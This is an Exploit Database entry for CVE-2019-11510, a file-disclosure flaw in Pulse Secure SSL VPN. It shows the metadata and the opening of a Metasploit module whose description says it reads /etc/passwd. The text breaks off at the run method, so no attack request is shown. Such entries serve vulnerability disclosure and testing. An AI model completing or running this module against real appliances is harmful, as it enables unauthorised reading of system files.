EXPLOIT DATABASE

Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
47297	2019-11510	ALYSSA HERRERA	WEBAPPS	MULTIPLE	2019-08-21

EDB Verified: ✕

Exploit: / {}

Vulnerable App:


```
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Post::File
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Pulse Secure - System file leak',
            'Description'    => %q{
                Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before
9.0R3.4
            },
            'References'     =>
                [
                    [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
                ],
            'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
            'License'        => MSF_LICENSE,
             'DefaultOptions' =>
              {
                'RPORT' => 443,
                'SSL' => true
              },
            ))

    end


    def run()
```